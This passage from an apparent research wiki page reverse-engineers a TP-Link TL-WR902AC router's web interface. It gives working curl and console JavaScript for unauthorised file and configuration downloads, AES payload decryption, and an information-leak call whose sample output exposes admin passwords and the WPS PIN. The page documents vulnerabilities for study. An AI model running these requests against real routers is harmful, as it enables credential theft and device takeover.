var wlanList=$.act(ACT_GL,LAN_WLAN,null,null,["name", "SSID", "Enable", "X_TP_Configuration_Modified", "beaconType", "Standard", "WEPEncryptionLevel", "WEPKeyIndex", "BasicEncryptionModes", "BasicAuthenticationMode", "WPAEncryptionModes", "WPAAuthenticationMode", "IEEE11iEncryptionModes", "IEEE11iAuthenticationMode", "X_TP_PreSharedKey", "X_TP_GroupKeyUpdateInterval", "X_TP_RadiusServerIP", "X_TP_RadiusServerPort", "X_TP_RadiusServerPassword"]);
$.exe();
$.act(ACT_SET,LAN_WLAN,wlanList[0].__stack,null,["BeaconType=11i", "IEEE11iAuthenticationMode=PSKAuthentication", "IEEE11iEncryptionModes=AESEncryption", "X_TP_PreSharedKey="+password,"X_TP_GroupKeyUpdateInterval=0"]);
$.act(ACT_SET,LAN_WLAN,wlanList[1].__stack,null,["BeaconType=11i", "IEEE11iAuthenticationMode=PSKAuthentication", "IEEE11iEncryptionModes=AESEncryption", "X_TP_PreSharedKey="+password,"X_TP_GroupKeyUpdateInterval=0"]);
$.exe();</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: wlanObj = wlanList[{1, 2}] (0 = 2.4G; 1 = 5G)</div>

</div>
</div>

<h4>Payload Encryption</h4>

<div style="text-align: justify;">The newer firmware versions use AES encrypted payload when communicating with the webserver using the <code>/cgi_gdpr</code> URL instead of <code>/cgi</code> for most calls. In order to analyse the servers responses, one needs to decrypt the payload. While debugging, this can either be done using the instance of the <code>$.Iencryptor</code> used for encryption or by overwriting the <code>$.io()</code>, which logs the response after decryption. Hackers may be able to forge the encryption key with the help of <code>/cgi/getParm</code>. Additionnally the modified version of the <code>$.io()</code> function prevents reloading the page while testing unautharized CGI calls from the login screen.</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ Example AES Decryption using $.Iencryptor</div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="JavaScript">$.Iencryptor.AESDecrypt("QCN4Rv6QexPOxOxIs7adng==");

// var encryptor = $.encrypt.encryptManager.genEncryptor(); //生成加密器
// encryptor.genAESKey(); //生成aes密码
// encryptor.setRSAKey("nn", "ee"); //设置rsakey
// encryptor.setSeq("123"); //设置seq
// encryptor.setHash("用户名", "密码"); //设置用户名密码
//
//
// //以上都设置完后，可进行加密
// encryptor.AESEncrypt(data);
//
// //返回对象
// // {
// // data:"加密后数据",
// // sign: "签名"
// // }
//
//
// // 页面刷新前保存加密器
// $.encrypt.encryptManager.recordEncryptor();
//
// //再次获取加密器
// var encryptor = $.encrypt.encryptManager.getEncryptor();</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: 感谢您的良好指示 🙏</div>

</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ Example AES key generation</div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="JavaScript">
$.act(ACT_CGI, "/cgi/getParm");
$.exe(null,false,0);

# Request Parameters
# [/cgi/getParm#0,0,0,0,0,0#0,0,0,0,0,0]0,0

# Or, using cURL
# curl -X POST "http://192.168.1.1/cgi?8" -H "Referer: http://192.168.1.1" -d $'[/cgi/getParm#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n'

# Example Response
# lib.js:396 XHR finished loading: POST "http://192.168.1.1/cgi?8"
# [cgi]0
# var ee="010001";
# var nn="BF52337CDDC3F46ADE7663765F170AB464AE93BF981B02B95FCE1E94" +
# "62DD9A03ED3E09CCEFDFD7FACE81EE38136FC081735686FE630BBADB" +
# "DAB24BE0443A2B25";
# var seq="812508797";
# $.ret=0;
# [error]0

$.nn = nn;
$.ee = ee;
$.seq = seq;

$.Iencryptor.setSeq($.seq);
$.Iencryptor.setRSAKey($.nn, $.ee);
$.Iencryptor.setHash(userName, password);
$.Iencryptor.genAESKey();</syntaxhighlight>

</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ $.io() {Log decrypted responses while debugging and disable page reloading}</div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="JavaScript">$.io = function(path, bScript, hook, data, noquit, unerr) {
$.ajax(
{
type: data ? "POST" : "",
url: path,
bScript: bScript,
async: true,
data: data ? data : null,
success: r => console.log(r),
error: e => console.log(e)
});
}

// Try the modifications (Reload to revert)
$.act(ACT_GET, USER_CFG, null, null, ["adminName", "adminPwd"]);
$.exe(null, false, 1);</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: The third parameter with the <code>$.exe(null, false, 1);</code> function defines the <code>securityLevel</code>. 1 enables AES encryption and the use of <code>/cgi_gdpr</code>. 0 means no encryption and the use of <code>/cgi</code>.</div>

</div>
</div>

<h3>Information Gathering</h3>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ CGI URLs</div>
<div class="mw-collapsible-content">
<syntaxhighlight lang="JavaScript">// Source: /usr/bin/httpd
// Firmware: 191018

/cgi/conf.bin
/cgi/confencode
/cgi/confup
/cgi/bnr
/cgi/softup
/cgi/softburn
/cgi/log
/cgi/info
/cgi/lanMac
/cgi/auth
/cgi/pvc
/cgi/ansi
/cgi/usb3gup
/cgi/usb3gupburn
/cgi/logout
/cgi/route
/cgi/updateWlThroughput
/cgi/updateWlThroughput5G
/cgi/getParm
/cgi/login

/cgi_gdpr</syntaxhighlight>
</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ Webserver URLs</div>
<div class="mw-collapsible-content">
<syntaxhighlight lang="JavaScript">// Firmware: 191018

/web
├── MenuRpm.htm
├── css
│   ├── ban.css
│   ├── css_help.css
│   ├── ie6.css
│   ├── ie7.css
│   ├── ie8.css
│   ├── main.css
│   ├── menu.css
│   ├── other.css
│   ├── qr.css
│   └── top.css
├── domain-redirect.htm
├── frame
│   ├── accErr.htm
│   ├── banner.htm
│   ├── login.htm
│   ├── menu.htm
│   └── top.htm
├── help
│   ├── AccessCtrlAccessRulesAdvHelpRpm.htm
│   ├── AccessCtrlAccessRulesHelpRpm.htm
│   ├── AccessCtrlAccessTargetsAdvHelpRpm.htm
│   ├── AccessCtrlAccessTargetsHelpRpm.htm
│   ├── AccessCtrlHostsListsAdvHelpRpm.htm
│   ├── AccessCtrlHostsListsHelpRpm.htm
│   ├── AccessCtrlTimeSchedAdvHelpRpm.htm
│   ├── AccessCtrlTimeSchedHelpRpm.htm
│   ├── AssignedIpAddrListHelpRpm.htm
│   ├── BackNRestoreHelpRpm.htm
│   ├── BasicSecurityHelpRpm.htm
│   ├── BpaCfgHelpRpm.htm
│   ├── ChangeLoginPwdHelpRpm.htm
│   ├── DMZHelpRpm.htm
│   ├── DateTimeCfgHelpRpm.htm
│   ├── DdnsAddComexeHelpRpm.htm
│   ├── DiagHelp.htm
│   ├── DualBandSelectionHelpRpm.htm
│   ├── DynDdnsHelpRpm.htm
│   ├── FeedbackHelp.htm
│   ├── FixMapCfgHelpRpm.htm
│   ├── GuestNetUsbCfgHelpRpm.htm
│   ├── GuestNetWirelessCfgHelpRpm.htm
│   ├── GuestNetWirelessCfgHelpRpmWithFacebook.htm
│   ├── IPTVHelp.htm
│   ├── IPv6LanHelp.htm
│   ├── IPv6StatusHelpRpm.htm
│   ├── IPv6TunnelHelp.htm
│   ├── L2tpCfgHelpRpm.htm
│   ├── LanArpBindingHelpRpm.htm
│   ├── LanArpBindingListHelpRpm.htm
│   ├── LanDhcpServerHelpRpm.htm
│   ├── LanDhcpServerHelpRpm_AP.htm
│   ├── LocalManageControlHelpRpm.htm
│   ├── MacCloneCfgHelpRpm.htm
│   ├── ManageControlHelpRpm.htm
│   ├── ManageCtrl_h.htm
│   ├── MediaServerCfgHelpRpm.htm
│   ├── MiscHelpRpm.htm
│   ├── NasCfgHelpRpm.htm
│   ├── NasFtpCfgHelpRpm.htm
│   ├── NasUserAdvRpm.htm
│   ├── NasUserCfgHelpRpm.htm
│   ├── NatStatusCfgHelpRpm.htm
│   ├── NetworkCfgHelpRpm.htm
│   ├── NetworkCfgHelpRpm_AP.htm
│   ├── NoipDdnsHelpRpm.htm
│   ├── PPPoECfgHelpRpm.htm
│   ├── PPPoEv6CfgHelpRpm.htm
│   ├── ParentCtrlAdvHelpRpm.htm
│   ├── ParentCtrlHelpRpm.htm
│   ├── PingHelpRpm.htm
│   ├── PingWatchDogHelpRpm.htm
│   ├── PptpCfgHelpRpm.htm
│   ├── PrintServerCfgHelpRpm.htm
│   ├── QoSCfgHelpRpm.htm
│   ├── QoSRuleCfgHelpRpm.htm
│   ├── QoSRuleListHelpRpm.htm
│   ├── Qs3gHelpRpm.htm
│   ├── QsChangeLoginPwdHelpRpm.htm
│   ├── QsLanApHelpRpm.htm
│   ├── QsModeHelpRpm.htm
│   ├── QsMultissidHelpRpm.htm
│   ├── QsReviewHelpRpm.htm
│   ├── QsWlClientHelpRpm.htm
│   ├── QsWlScanClientHelpRpm.htm
│   ├── RestoreDefaultCfgHelpRpm.htm
│   ├── SiteSurveyHelpRpm.htm
│   ├── SnmpHelpRpm.htm
│   ├── SoftwareUpgradeHelpRpm.htm
│   ├── SpecialAppHelpRpm.htm
│   ├── StaticRouteTableHelpRpm.htm
│   ├── StatusHelpRpm.htm
│   ├── StatusHelpRpm_AP.htm
│   ├── StatusHelpRpm_Client.htm
│   ├── StatusHelpRpm_Modem.htm
│   ├── StatusHelpRpm_Repeater.htm
│   ├── SysAutoRebootHelpRpm.htm
│   ├── SysRebootHelpRpm.htm
│   ├── SysRouteTableHelpRpm.htm
│   ├── SystemLogHelpRpm.htm
│   ├── SystemStatisticHelpRpm.htm
│   ├── UpnpCfgHelpRpm.htm
│   ├── Usb3gHelpRpm.htm
│   ├── Usb3gModemListHelpRpm.htm
│   ├── UsbAccountHelp.htm
│   ├── UsbDlnaHelp.htm
│   ├── UsbFtpHelp.htm
│   ├── UsbMassHelp.htm
│   ├── UsbSharingHelp.htm
│   ├── VirtualServerHelpRpm.htm
│   ├── Wan6DisabledCfgHelpRpm.htm
│   ├── Wan6to4TunnelCfgHelpRpm.htm
│   ├── WanDynamicIpCfgHelpRpm.htm
│   ├── WanDynamicIpV6CfgHelpRpm.htm
│   ├── WanStaticIpCfgHelpRpm.htm
│   ├── WanStaticIpV6CfgHelpRpm.htm
│   ├── WlanAdvHelpRpm.htm
│   ├── WlanAdvHelpRpm_AP.htm
│   ├── WlanConnectHelpRpm.htm
│   ├── WlanExtender5GHelpRpm.htm
│   ├── WlanExtenderHelpRpm.htm
│   ├── WlanMacFilterHelpRpm.htm
│   ├── WlanNetworkHelpRpm.htm
│   ├── WlanNetworkHelpRpm_AP.htm
│   ├── WlanNetworkHelpRpm_MSSID.htm
│   ├── WlanSchedule.htm
│   ├── WlanSecurityHelpRpm.htm
│   ├── WlanStationHelpRpm.htm
│   ├── WlanThroughputHelpRpm.htm
│   ├── WlanWpsChkModeHelpRpm.htm
│   ├── WlanWpsHelpRpm.htm
│   ├── WlanWpsHelpRpm_AP.htm
│   ├── WzdAccessCtrlHostAddHelpRpm.htm
│   ├── WzdAccessCtrlRuleAddHelpRpm.htm
│   ├── WzdAccessCtrlSchedAddHelpRpm.htm
│   ├── WzdAccessCtrlTargetAddHelpRpm.htm
│   ├── WzdConfirmHelpRpm.htm
│   ├── WzdFinishHelpRpm.htm
│   ├── WzdL2TPHelpRpm.htm
│   ├── WzdPPPoEHelpRpm.htm
│   ├── WzdPPTPHelpRpm.htm
│   ├── WzdStartHelpRpm.htm
│   ├── WzdStaticIpHelpRpm.htm
│   ├── WzdWanMACHelpRpm.htm
│   ├── WzdWanTypeHelpRpm.htm
│   ├── WzdWlanHelpRpm.htm
│   ├── WzdWlanHelpRpm_AP.htm
│   ├── YandexDnsHelpRpm.htm
│   └── ledControlHelp.htm
├── img
│   ├── Thumbs.db
│   ├── bgColor.jpg
│   ├── check.gif
│   ├── col_hide.gif
│   ├── col_show.gif
│   ├── empty.gif
│   ├── error.gif
│   ├── helpPic.gif
│   ├── icon.jpg
│   ├── loading.gif
│   ├── login
│   │   ├── domain-redirect.png
│   │   ├── favicon.ico
│   │   ├── info.png
│   │   ├── input-box.png
│   │   ├── input-box1.png
│   │   ├── loginBg.png
│   │   ├── loginButton.png
│   │   ├── loginButton1.png
│   │   ├── logo.png
│   │   ├── ok.png
│   │   ├── password.png
│   │   ├── qr.png
│   │   ├── top-right.png
│   │   ├── tp-beta-mark.png
│   │   ├── username.png
│   │   └── wrong.png
│   ├── mark_copy.gif
│   ├── menu-white-noradius.png
│   ├── menu-white.png
│   ├── menu-yellow.png
│   ├── minus.gif
│   ├── plus.gif
│   ├── pw.gif
│   ├── signalstrength.gif
│   ├── switch.gif
│   └── td-blue.png
├── index.htm
├── js
│   ├── 3g.js
│   ├── cryptoJS.min.js
│   ├── custom.js
│   ├── encrypt.js
│   ├── err.js
│   ├── help.js
│   ├── language.js
│   ├── lib.js
│   ├── local.js
│   ├── oid_str.js
│   ├── root.js
│   ├── str.js
│   ├── tpEncrypt.js
│   └── vlancfg.js
├── main
│   ├── alg.htm
│   ├── arpBind.htm
│   ├── arpBindEdit.htm
│   ├── arpList.htm
│   ├── autoPVC.htm
│   ├── backNRestore.htm
│   ├── basicSec.htm
│   ├── clientMode.htm
│   ├── clientMode5G.htm
│   ├── cwmp.htm
│   ├── ddos.htm
│   ├── ddos_host.htm
│   ├── defGateway.htm
│   ├── defGateway6.htm
│   ├── defaultCfg.htm
│   ├── dhcp.htm
│   ├── dhcpAP.htm
│   ├── dhcpClient.htm
│   ├── dhcpCond.htm
│   ├── dhcpCondEdit.htm
│   ├── dhcpEdit.htm
│   ├── dhcpEditAP.htm
│   ├── dhcpStatic.htm
│   ├── dhcpStaticEdit.htm
│   ├── diagnostic.htm
│   ├── div.htm
│   ├── dlnaManage.htm
│   ├── dmz.htm
│   ├── dsl.htm
│   ├── dslcfg.htm
│   ├── dynamicIp.htm
│   ├── ethIptv.htm
│   ├── ethWan.htm
│   ├── ethWan6.htm
│   ├── ftpSrv.htm
│   ├── fw6Lan.htm
│   ├── fw6LanEdit.htm
│   ├── fw6Rules.htm
│   ├── fw6RulesEdit.htm
│   ├── fw6Sche.htm
│   ├── fw6ScheEdit.htm
│   ├── fw6Wan.htm
│   ├── fw6WanEdit.htm
│   ├── fwLan.htm
│   ├── fwLanEdit.htm
│   ├── fwRules.htm
│   ├── fwRulesEdit.htm
│   ├── fwSche.htm
│   ├── fwScheEdit.htm
│   ├── fwWan.htm
│   ├── fwWanEdit.htm
│   ├── group.htm
│   ├── groupAdd.htm
│   ├── hw_nat.htm
│   ├── ipoa.htm
│   ├── ipsec.htm
│   ├── ipsecConfig.htm
│   ├── iptv.htm
│   ├── lan.htm
│   ├── lan6.htm
│   ├── lanAP.htm
│   ├── lanEdit.htm
│   ├── lanEditAP.htm
│   ├── ledControl.htm
│   ├── local.htm
│   ├── log.htm
│   ├── logConf.htm
│   ├── macClone.htm
│   ├── manageCtrl.htm
│   ├── no.htm
│   ├── parentCtrl.htm
│   ├── password.htm
│   ├── phDDNS.htm
│   ├── pingNTraceRoute.htm
│   ├── pingWatchDog.htm
│   ├── portTrigEdit.htm
│   ├── portTrigger.htm
│   ├── pppoa.htm
│   ├── pppoe.htm
│   ├── printSrv.htm
│   ├── qos.htm
│   ├── qosAppEdit.htm
│   ├── qosClsEdit.htm
│   ├── qosList.htm
│   ├── qosQueueEdit.htm
│   ├── qs3g.htm
│   ├── qsAuto.htm
│   ├── qsBandSelect.htm
│   ├── qsDetectErr.htm
│   ├── qsDsl.htm
│   ├── qsEnd.htm
│   ├── qsIPoA.htm
│   ├── qsL2tp.htm
│   ├── qsLan.htm
│   ├── qsMacClone.htm
│   ├── qsMode.htm
│   ├── qsMultiSSID.htm
│   ├── qsPPP.htm
│   ├── qsPPPoA.htm
│   ├── qsPptp.htm
│   ├── qsReview.htm
│   ├── qsSave.htm
│   ├── qsStaIP.htm
│   ├── qsStart.htm
│   ├── qsType.htm
│   ├── qsWl.htm
│   ├── qsWl5G.htm
│   ├── qsWlAP.htm
│   ├── qsWlAP5G.htm
│   ├── qsWlClient.htm
│   ├── qsWlHotspot.htm
│   ├── qsWlScanClient.htm
│   ├── qspassword.htm
│   ├── remote.htm
│   ├── restart.htm
│   ├── rip.htm
│   ├── route.htm
│   ├── route6.htm
│   ├── route6Edit.htm
│   ├── routeEdit.htm
│   ├── routeTbl.htm
│   ├── snmp.htm
│   ├── softup.htm
│   ├── stat.htm
│   ├── staticIp.htm
│   ├── status.htm
│   ├── status6.htm
│   ├── sysMode.htm
│   ├── time.htm
│   ├── trafCtrlEdit.htm
│   ├── trafficCtrl.htm
│   ├── tunnel6.htm
│   ├── upnp.htm
│   ├── usb3g.htm
│   ├── usb3gModemList.htm
│   ├── usb3gUpload.htm
│   ├── usbFolderBrowse.htm
│   ├── usbManage.htm
│   ├── usbSmbSrv.htm
│   ├── usbUserAccount.htm
│   ├── userFeedBack.htm
│   ├── virtualServer.htm
│   ├── vtlServEdit.htm
│   ├── wan.htm
│   ├── wlAcl.htm
│   ├── wlAcl5G.htm
│   ├── wlAclAdv.htm
│   ├── wlAclAdv5G.htm
│   ├── wlAclAdvMssid.htm
│   ├── wlAclMssid.htm
│   ├── wlAdv.htm
│   ├── wlAdv5G.htm
│   ├── wlBasic.htm
│   ├── wlBasic5G.htm
│   ├── wlBasicAP.htm
│   ├── wlBasicAP5G.htm
│   ├── wlBasicHotspot.htm
│   ├── wlBasicHotspot5G.htm
│   ├── wlBasicMssid.htm
│   ├── wlConnect.htm
│   ├── wlConnect5G.htm
│   ├── wlExtender.htm
│   ├── wlExtender5G.htm
│   ├── wlFrequency.htm
│   ├── wlGuest.htm
│   ├── wlGuest5G.htm
│   ├── wlGuestStats.htm
│   ├── wlGuestStats5G.htm
│   ├── wlQss.htm
│   ├── wlQss5G.htm
│   ├── wlQssAdv.htm
│   ├── wlQssAdv5G.htm
│   ├── wlScan.htm
│   ├── wlScan5G.htm
│   ├── wlScanClient.htm
│   ├── wlScanClient5G.htm
│   ├── wlScheEdit.htm
│   ├── wlScheEdit5G.htm
│   ├── wlSec.htm
│   ├── wlSec5G.htm
│   ├── wlSecMssid.htm
│   ├── wlStats.htm
│   ├── wlStats5G.htm
│   ├── wlThroughput.htm
│   ├── wlThroughput5G.htm
│   ├── yandexDns.htm
│   └── yandexDnsEdit.htm
├── mainFrame.htm
├── qr.htm
└── xml
└── log.txt

8 directories, 388 files</syntaxhighlight>
</div>
</div>

<h4>Using Packet Injection</h4>

<div style="text-align: justify">In order to extract information from the server, one can either use cURL to forge packets or by using predefined JS functions executed via the webbrowsers console. Since any direct calls to the webserver end up in an <code>403 Forbidden</code> http error, except for the root of the webserver, one needs to set the referer header to match the webservers IP address, this is necessary because the webpages is configured that the main frame usually loads content via AJAX without ever reloading the complete webpage. Using this method one can also set the authorization or session cookie if already aquired. Anywhow, this isn't needed for most calls on the TP-WR902AC with the FW version 170828. Seperate version may be listed below, depending on the firmware version.</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ Download any file from the webserver (Unauthorized)</div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="Bash">curl -X GET "http://192.168.1.1/js/oid_str.js" -H "Referer: http://192.168.1.1"</syntaxhighlight>

</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ Get current session information (Authorized)</div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="Bash">curl -X POST "http://192.168.1.1/cgi/info" --cookie "Authorization=Basic YWRtaW46YWRtaW4=" -H "Referer: http://192.168.1.1"</syntaxhighlight>
<syntaxhighlight lang="JavaScript">var userType="Admin";
var bSecured=0;
var clientLocal=1;
var clientIp="192.168.1.100";
var clientMac="XX:XX:XX:XX:XX:XX";
$.ret=0;</syntaxhighlight>

</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ Download the device configuration (Unauthorized)</div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="Bash">$ curl -X POST "http://192.168.1.1/cgi/conf.bin" -H "Referer: http://192.168.1.1" --output ./conf.bin</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: The downloaded <code>conf.bin</code> has not been analyzed so far.</div>

</div>
</div>

<h4>Using JavaScript Injection</h4>

<div style="text-align: justify">cURL could also be used for CGI call using forged payload. But since the data format accepted by the CGI deamon is quite complicate to understand, so it is easier to let the JS libaries, delivered with the front-end webpage, do that job for us. Still, it is possible to forge or replay such payloads if aquired via packet sniffing or similar. The CGI accepted dataformat gets not much further analyzed here. Instead, the following commands are executed via the console of a webrowser executed on the TP-Link webpage using the <code>$.act()</code> and <code>$exe()</code> function defined in <code>/js/lib.js</code>. This will be elaborated in the next chapter [[#Common Gateway Interface|Common Gateway Interface]]. For now the examples used for information gathering without explanations.</div>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin: 10px 0; text-align: justify"><b>Note</b>: The Firmware identifiers used here are in fact the "buildDate" (YYMMDD). I use these to better draw link between differnet devices assuming a common code-base and vulnerabilities. See the [[#Firmware|Firmware]] section for more information.</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ Get Device Information including FW version.</div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="JavaScript">// Firmware: 170828
$.act(ACT_GET, IGD_DEV_INFO); $.exe();</syntaxhighlight>

<syntaxhighlight lang="JavaScript">// Firmware: 190428
$.act(ACT_GET, IGD_DEV_INFO); $.exe(null, false, 0);</syntaxhighlight>

</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ Use ACT_GET (and ACT_GL) to create the largest possible Information leaking command.</div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="JavaScript">// Firmware: 170828
var act_get_oid_list = ["IGD", "IGD_DEV_INFO", "SYSLOG_CFG", "ETH_SWITCH", "SYS_CFG", "NET_CFG", "USER_CFG", "CURRENT_USER", "APP_CFG", "HTTP_CFG", "DYN_DNS_CFG", "UPNP_CFG", "DIAG_TOOL", "NOIP_DNS_CFG", "CMX_DNS_CFG", "WAN_TYPE_DETECT", "DMZ_HOST_CFG", "TIME", "HOUR", "L3_FORWARDING", "L3_IP6_FORWARDING", "L2_BRIDGING", "LAN_HOST_ENTRY", "WAN_ETH_INTF_STATS", "WAN_L2TP_CONN_STATS", "WAN_PPTP_CONN_STATS", "WAN_PPP_CONN_STATS", "STAT_CFG", "DDOS_CFG", "ARP_BIND", "TC", "ALG_CFG", "FIREWALL", "IP6_FIREWALL", "IP6_TUNNEL", "DSLITE", "SIT_6RD", "STORAGE_SERVICE", "CAPABLE", "FOLDER_BROWSE", "DLNA_MEDIA_SERVER", "SMB_SERVICE", "FTP_SERVER", "SYS_MODE", "EWAN", "CLOUD_SERVICE", "FW_UPGRADE_INFO", "OWNER_INFO", "CURRENT_USER_INFO", "CLOUD_DDNS", "CLOUD_DDNS_ENTRY", "WAN_ERROR_BLOCK", "FW_UP_INFO_BLOCK", "IPPING_DIAG", "TRACEROUTE_DIAG", "VLAN", "IPV6_CFG", "PRODUCE_INFO", "MULTIMODE", "PING_WATCH_DOG"];
for(let i=0; i<act_get_oid_list.length; i++){
$.act(ACT_GET, act_get_oid_list[i]);
}
$.act(ACT_GL,LAN_WLAN);
$.exe();</syntaxhighlight>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto;">
<div style="line-height:1.6;">ⓘ Example Results (447 lines) (<b>including "adminName", "adminPwd", "X_TP_PreSharedKey" and "flashPin"!</b>)</div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="Bash">[0,0,0,0,0,0]0
deviceSummary=InternetGatewayDevice:1.1[](Baseline:1, EthernetLAN:1)
LANDeviceNumberOfEntries=1
WANDeviceNumberOfEntries=0
[0,0,0,0,0,0]1
manufacturer=TP-Link
manufacturerOUI=98DAC4
modelName=TL-WR902AC
description=AC750 Wi-Fi Travel Router
productClass=IGD
serialNumber=98DAC46E00FC
hardwareVersion=TL-WR902AC v3 00000001
softwareVersion=0.9.1 0.1 v0089.0 Build 170828 Rel.57433n(4555)
modemFirmwareVersion=
enabledOptions=
additionalHardwareVersion=00000001
additionalSoftwareVersion=
specVersion=1.0
provisioningCode=
upTime=16922
firstUseDate=
deviceLog=0x58801d58
X_TP_HardwareID=6146446FA85583FDD5135E8275E48010
X_TP_FirmwareID=EF04518B7BA1296A8F491C96C45F01E9
X_TP_HardwareDescription=TL-WR902AC 3.0
X_TP_isFD=1
X_TP_DevManufacturerURL=http://www.tp-link.com
X_TP_DevModelVersion=3.0
X_TP_ProductID=903311
X_TP_ProductVersion=137
X_TP_SoftwareRevision=1437204481
X_TP_SoftwareRevisionMinor=0
X_TP_PlatformVersion=2768242945
X_TP_BuildDate=170828
X_TP_BuildTime=57433
[0,0,0,0,0,0]2
logToRemote=0
remoteSeverity=4
serverIP=192.168.0.100
serverPort=514
facility=1
logToLocal=1
localSeverity=6
logHeadPos=0
logTailPos=3897
[0,0,0,0,0,0]3
enableVirtualPorts=0
numberOfVirtualPorts=4
ifName=eth0
[0,0,0,0,0,0]4
flashMac=98:DA:C4:6E:00:FC
flashPin=37490720
flashZoneId=EUR
flashDevId=8000FB75D7711C1F692E48B22DE039B81BA9945D
flashOemId=A724943A07C41281802668C26C685D1A
flashSpecialId=45550000
flashCountryCode=DE
sign=
signLen=0
publicKey1=BgIAAACkAABSU0ExAAQAAAEAAQCNrP4jIUWitcvDIHr3OHnlzLCjGyJoLXgY9uH7tAVaYN+2YWEQ9RuS4PIQo7uWwHs7PYTAh9vF
publicKey2=pdMfu6NNkdvneLUER5V7Q5HtmPXd3roiIMi55tK7lA0B67bjYpBE/JM+SLbyMRgeNWut0YoufpLNV24ZQa0p7Xj4M5m2ZDclnA==
publicKeyLen=200
signStatus=0
[0,0,0,0,0,0]5
DNSServers=192.168.0.1,0.0.0.0
DNSifAliasName=ewan_ipoe_d
currDNSServer=16820416
[0,0,0,0,0,0]6
rootName=
rootPwd=
adminName=admin
adminPwd=admin
userName=
userPwd=
[0,0,0,0,0,0]7
userName=
passwd=
httpSession=
userSetting=0
action=0
loginStatus=0
userRole=3
logInCloud=0
needReconn=0
[0,0,0,0,0,0]8
localHost=
remoteHost=
[0,0,0,0,0,0]9
httpCharset=utf-8
httpLocalEnabled=1
httpLocalPort=80
httpRemoteEnabled=0
httpRemotePort=80
httpsLocalEnabled=0
httpsLocalPort=443
httpsRemoteEnabled=0
httpsRemotePort=443
[0,0,0,0,0,0]10
enable=0
state=0
userName=
password=
userDomain=
server=members.dyndns.org
login=1
[0,0,0,0,0,0]11
enable=1
[0,0,0,0,0,0]12
currCommand=0
currHost=0.0.0.0
lastCommand=0
lastHost=0.0.0.0
lastResult=0
[0,0,0,0,0,0]13
enable=0
state=3
userName=
password=
userDomain=
server=dynupdate.no-ip.com
login=1
[0,0,0,0,0,0]14
enable=0
state=0
userName=
password=
userDomain1=
userDomain2=
userDomain3=
userDomain4=
userDomain5=
server=dns.comexe.cn
login=1
[0,0,0,0,0,0]15
ifName=
state=1
wanType=0
wanTypeGet=0
[0,0,0,0,0,0]16
enable=0
IPAddress=
[0,0,0,0,0,0]17
__status=2
NTPServer1=
NTPServer2=
NTPServer3=
NTPServer4=
NTPServer5=
currentLocalTime=2020-06-28T21:31:33+00:00
localTimeZone=+00:00
localTimeZoneName=
daylightSavingsUsed=0
daylightSavingsStart=
daylightSavingsEnd=
X_TP_DaylightSavingsStartWeekCount=0
X_TP_DaylightSavingsEndWeekCount=0
X_TP_ShowDaylightSavingOnWeb=1
[0,0,0,0,0,0]18
year=2020
month=6
day=28
hours=21
minutes=31
seconds=33
[0,0,0,0,0,0]19
__defaultGateway=192.168.0.1
__ifName=eth0.2
__ifAliasName=ewan_ipoe_d
defaultConnectionService=
forwardNumberOfEntries=0
[0,0,0,0,0,0]20
__defaultGateway=::
__ifName=eth0.2
__ifAliasName=ewan_ipoev6_d
defaultConnectionService=
IPv6ForwardNumberOfEntries=0
[0,0,0,0,0,0]21
maxBridgeEntries=16
maxFilterEntries=64
maxMarkingEntries=0
bridgeNumberOfEntries=1
filterNumberOfEntries=7
markingNumberOfEntries=0
availableInterfaceNumberOfEntries=7
[0,0,0,0,0,0]22
IPAddress=192.168.1.100
leaseTimeRemaining=5737
MACAddress=XX:XX:XX:XX:XX:XX
hostName=Z
X_TP_ConnType=1
[0,0,0,0,0,0]23
bytesSent=0
bytesReceived=0
packetsSent=0
packetsReceived=0
[0,0,0,0,0,0]24
